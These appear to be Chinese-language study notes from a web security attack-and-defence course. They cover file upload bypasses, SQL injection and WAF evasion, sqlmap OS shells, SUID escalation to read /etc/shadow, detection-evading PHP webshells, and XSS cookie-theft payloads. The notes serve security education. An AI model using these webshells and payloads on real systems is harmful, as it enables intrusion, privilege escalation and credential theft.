文章目录
web安全攻防要点
http协议
get 长度一般不超过1024kb
post 长度无限制,但浏览器一般有个界限
get数据会在url明文现实,post数据不显示。但安全性实质上一致的,都是tcp连接
一句话木马
文件上传漏洞
文件上传漏洞中阶
大小写绕过
:win大小写不敏感、Linux反之
前端验证绕过
:白名单校验
姿势1:bp抓包,修改放行
姿势2:通过浏览器禁止\删除js代码
.htaccess
(分布式配置文件):
- 黑名单绕过,更改配置文件。
- 启用.htaccess文件的网站,使用此文件类型要绕过限制较全面的黑名单过滤。
文件上传漏洞高阶
文件流绕过:
NTFS
echo 111 > test.txt:111.txt
echo test > test.txt
echo 222 > test.txt::$data
字符串截断绕过:
%00截断绕过
可以生效的根本原因:分别控制存储路径和文件名称
文件头检测绕过:
文件名 | 16进制 |
---|---|
PNG | 89 50 4E 47 |
JPG | FF D8 FF DB |
GIF | 47 49 46 38 |
文件上传漏洞初探
fuzz
源码审计
SQL注入
旧文
SQL注入
判断:
- 单引号判断法
?id=1'
- 判断注入型
- 回归测试
五大类
- 布尔
- 可联合查询
- 基于时间延迟
- 报错型
- 可多语句查询
隐蔽的http头盲注
修改user-agent
堆叠注入
OOB注入(OUT OF BAND)
预备知识
- DNS迭代查询原理
- TCPDUMP linux的数据包嗅探
- UNC路径 格式:\servername\sharename (服务器名\共享资源名称),只在win生效
sql语句中’’前一个/代表转义符,最终代表两个/
load_fike()
绕过WAF
- 绕过union、where、limit
preg_match('/(and|or|union|where|limit)/i',$id);
mysql> select id,min(name) from test group by id having id =1;
group by
和having
创建的是虚拟表
name
等于一个list
。如果要去拼接id和min(name),那么两个都是单个数值,min(name)看作一个数组
- 绕过union、where、limit、group by
substr()
group_concat()
- 绕过union、where、limit、group by、select以及单引号
mysql > select * from test where id = 1 || substr(name,1,1)=0x74
substr(name,1,1)=0x74不需要select支撑
数值以16进制存储在数据库中,可逃逸单引号的限制
- 绕过union、where、limit、group by、select以及单引号、hex、unhex、substr
||binary(name)>0x74
binary()
整段数值转换为二进制,再转化为16进制
- 绕过空格
/**/
- 绕过
=
替换为like
- 大小写绕过
- 双写绕过
原因:过滤规则在进行匹配时,只进行了一次匹配,没有进行二次匹配。 - 二次注入
姿势:用户名admin'#
,注册时有防御机制(转义)修改密码时,若username=‘username’,会导致二次注入。防御:代码与数据分离(预编译),进制用户名出现特殊符号
webshell命令执行与交互
udf命令执行与交互
Userdefined function(用户自定义函数)
自动化工具:sqlmap
sqlmap.py -u "url" --os-shell
sqlmap.py -u "url" --os-cmd=ifconfig
dumfile\outfile
outfile函数会在行末端写入新行,会转义换行符
dumpfile函数不对任何列或行进行终止,也不执行任何转义处理
工具:sqlmap
**
webshell
- 提权过程分析
?cmd=system("find/ -user root -perm -4000 -print 2> /dev/null");
?cmd=system("touch pentestlab;"); //创建pentestlab文件
?cmd=system("find pentestlab -exec whoami\;"); //查询当前 回显:root
?cmd=system("cat /etc/shadow"); //执行失败 (/etc/shadow只有root权限才能查找)
?cmd=system("find pentestlab -exec cat /etc/shadow \;");执行成功 通过find提升权限
- SUID提权
什么是suidLinux环境下的一种除了rwx之外的附加权限
find有SUID权限
- 免杀
- 常量定义
<?php define("a","$_REQUEST[cmd]");eval(a);?>
可绕过WAF,执行时a会被替换为$_REQUEST[cmd]
- 定义函数
<?php
function a($a)
{
return $a;
}
eval(a($_REQUEST)['cmd']);
?>
- 定义类
<?php
class user
{
public $name='';
function _destruct()
{
eval("$this->name");
}
}
$user=new user;
$user->name=''.$_REQUEST['cmd'];
?>
- 多方式传参
<?php
$cookie=$_cookie;
foreach($cookie as $key=>$value)
{
if($key=='assert')
{
$key($_REQUEST['cmd']);
}
}
?>
- 特殊调用
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST['cmd']);
?>
加密算法与随机数
MD5
sha值
对称与非对称加密
·····
框架安全攻击与防范
CVE漏洞都有编号
CVE
流行框架:struc2(java web)、sping(java)、thinkphp(php web)、django(python)
XSS
即跨站脚本攻击
三类型
反射型
<script>alert("点击确定进行修复");location.href="www.bilibili.com"</script> 跳入其他链接
<script>alert(document.cookie)</script> 输出(盗取cookie)
</p><script>alert(1);</script><p> 通过p闭合
存储型
即xss代码存入到数据库中,调取时未经过滤,最后xss被执行
docker:Beff
DOM型
通过js操作DOM树动态地输出数据页面,而不依赖于将数据交给服务器端,它是基于DOM文档对象模型的一种漏洞。
危害
盗取cookie、广告引流 等等JavaScriot能够写出的任意恶意功能
XSS蠕虫
AJAX: 在不重新加载整个页面的情况下并更新部分网页的技术
过程:
- 基于存储型xss
- 伪装链接
- 点击感染
- 一传十 十传百
XSS混淆编码
JSFuck
伪协议与编码绕过
伪协议
data data:text/html;base64,efecdsc=
javascript javascript:alert(5)
编码
unicode编码(javascript编码)
url编码
html实体编码
同源策略及跨源访问
- cookie
- DOM
资源
靶场:https://github.com/geektime-geekbang/WebSecurity/tree/master/Chapter_1_code
课程:极客时间—web安全攻防实战